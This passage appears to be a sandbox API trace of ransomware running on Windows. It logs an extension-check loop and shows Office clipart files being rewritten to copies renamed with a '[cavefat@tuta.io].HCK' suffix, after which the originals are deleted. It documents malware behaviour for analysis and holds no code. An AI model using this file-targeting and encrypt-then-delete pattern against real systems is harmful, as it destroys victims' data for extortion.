returned 3 [0165.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString=".dbf") returned 4 [0165.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString=".1cd") returned 4 [0165.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString=".jpg") returned 4 [0165.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString=".doc") returned 4 [0165.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString=".docx") returned 5 [0165.592] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.592] lstrlenW (lpString=".pdf") returned 4 [0165.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString=".xls") returned 4 [0165.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.592] lstrlenW (lpString=".xlsx") returned 5 [0165.592] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.592] lstrlenW (lpString=".ppt") returned 4 [0165.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString=".zip") returned 4 [0165.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.592] lstrlenW (lpString=".rar") returned 4 [0165.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString=".bz2") returned 4 [0165.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString=".7z") returned 3 [0165.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString=".dbf") returned 4 [0165.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString=".1cd") returned 4 [0165.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.592] lstrlenW (lpString=".jpg") returned 4 [0165.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.592] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.593] lstrlenW (lpString="J0103058.WMF") returned 12 [0165.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.598] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17344) returned 1 [0165.598] CloseHandle (hObject=0x308) returned 1 [0165.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0165.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.605] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.605] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.605] GetLastError () returned 0x0 [0165.605] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x43c0, lpOverlapped=0x0) returned 1 [0165.609] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0165.609] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.610] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.610] SetEndOfFile (hFile=0x2ec) returned 1 [0165.610] CloseHandle (hObject=0x2ec) returned 1 [0165.610] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.610] SetEndOfFile (hFile=0x364) returned 1 [0165.611] CloseHandle (hObject=0x364) returned 1 [0165.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0165.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.611] lstrlenW (lpString=".doc") returned 4 [0165.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.611] lstrlenW (lpString=".docx") returned 5 [0165.611] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0165.611] lstrlenW (lpString=".pdf") returned 4 [0165.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.611] lstrlenW (lpString=".xls") returned 4 [0165.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.611] lstrlenW (lpString=".xlsx") returned 5 [0165.611] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0165.611] lstrlenW (lpString=".ppt") returned 4 [0165.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.611] lstrlenW (lpString=".zip") returned 4 [0165.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.611] lstrlenW (lpString=".rar") returned 4 [0165.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.611] lstrlenW (lpString=".bz2") returned 4 [0165.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.611] lstrlenW (lpString=".7z") returned 3 [0165.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.611] lstrlenW (lpString=".dbf") returned 4 [0165.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.612] lstrlenW (lpString=".1cd") returned 4 [0165.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.612] lstrlenW (lpString=".jpg") returned 4 [0165.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.612] lstrlenW (lpString=".doc") returned 4 [0165.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString=".docx") returned 5 [0165.612] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0165.612] lstrlenW (lpString=".pdf") returned 4 [0165.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString=".xls") returned 4 [0165.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.612] lstrlenW (lpString=".xlsx") returned 5 [0165.612] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0165.612] lstrlenW (lpString=".ppt") returned 4 [0165.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.612] lstrlenW (lpString=".zip") returned 4 [0165.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.612] lstrlenW (lpString=".rar") returned 4 [0165.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString=".bz2") returned 4 [0165.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString=".7z") returned 3 [0165.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.612] lstrlenW (lpString=".dbf") returned 4 [0165.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.612] lstrlenW (lpString=".1cd") returned 4 [0165.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0165.612] lstrlenW (lpString=".jpg") returned 4 [0165.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.612] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.612] lstrlenW (lpString="J0103402.WMF") returned 12 [0165.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.617] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=44948) returned 1 [0165.617] CloseHandle (hObject=0x364) returned 1 [0165.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0165.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0165.631] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.632] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.640] GetLastError () returned 0x0 [0165.640] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0165.642] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0165.643] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.643] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.643] SetEndOfFile (hFile=0x364) returned 1 [0165.648] CloseHandle (hObject=0x364) returned 1 [0165.651] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.651] SetEndOfFile (hFile=0x388) returned 1 [0165.656] CloseHandle (hObject=0x388) returned 1 [0165.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.661] lstrlenW (lpString=".doc") returned 4 [0165.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString=".docx") returned 5 [0165.661] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.661] lstrlenW (lpString=".pdf") returned 4 [0165.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString=".xls") returned 4 [0165.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.661] lstrlenW (lpString=".xlsx") returned 5 [0165.661] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.661] lstrlenW (lpString=".ppt") returned 4 [0165.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.661] lstrlenW (lpString=".zip") returned 4 [0165.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.661] lstrlenW (lpString=".rar") returned 4 [0165.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString=".bz2") returned 4 [0165.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString=".7z") returned 3 [0165.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.661] lstrlenW (lpString=".dbf") returned 4 [0165.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.661] lstrlenW (lpString=".1cd") returned 4 [0165.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.661] lstrlenW (lpString=".jpg") returned 4 [0165.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.661] lstrlenW (lpString=".doc") returned 4 [0165.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString=".docx") returned 5 [0165.661] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.661] lstrlenW (lpString=".pdf") returned 4 [0165.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.661] lstrlenW (lpString=".xls") returned 4 [0165.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.661] lstrlenW (lpString=".xlsx") returned 5 [0165.661] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.661] lstrlenW (lpString=".ppt") returned 4 [0165.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.662] lstrlenW (lpString=".zip") returned 4 [0165.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.662] lstrlenW (lpString=".rar") returned 4 [0165.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.662] lstrlenW (lpString=".bz2") returned 4 [0165.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.662] lstrlenW (lpString=".7z") returned 3 [0165.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.662] lstrlenW (lpString=".dbf") returned 4 [0165.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.662] lstrlenW (lpString=".1cd") returned 4 [0165.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0165.662] lstrlenW (lpString=".jpg") returned 4 [0165.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.662] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.662] lstrlenW (lpString="J0105234.WMF") returned 12 [0165.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0165.668] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3444) returned 1 [0165.668] CloseHandle (hObject=0x360) returned 1 [0165.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0165.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.676] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.676] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0165.687] GetLastError () returned 0x0 [0165.688] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xd74, lpOverlapped=0x0) returned 1 [0165.690] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xd80, lpOverlapped=0x0) returned 1 [0165.691] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.691] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.691] SetEndOfFile (hFile=0x388) returned 1 [0165.693] CloseHandle (hObject=0x388) returned 1 [0165.696] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.696] SetEndOfFile (hFile=0x370) returned 1 [0165.702] CloseHandle (hObject=0x370) returned 1 [0165.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.708] lstrlenW (lpString=".doc") returned 4 [0165.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString=".docx") returned 5 [0165.708] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.708] lstrlenW (lpString=".pdf") returned 4 [0165.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString=".xls") returned 4 [0165.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.708] lstrlenW (lpString=".xlsx") returned 5 [0165.708] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.708] lstrlenW (lpString=".ppt") returned 4 [0165.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.708] lstrlenW (lpString=".zip") returned 4 [0165.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.708] lstrlenW (lpString=".rar") returned 4 [0165.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString=".bz2") returned 4 [0165.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString=".7z") returned 3 [0165.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.708] lstrlenW (lpString=".dbf") returned 4 [0165.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0165.708] lstrlenW (lpString=".1cd") returned 4 [0165.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft 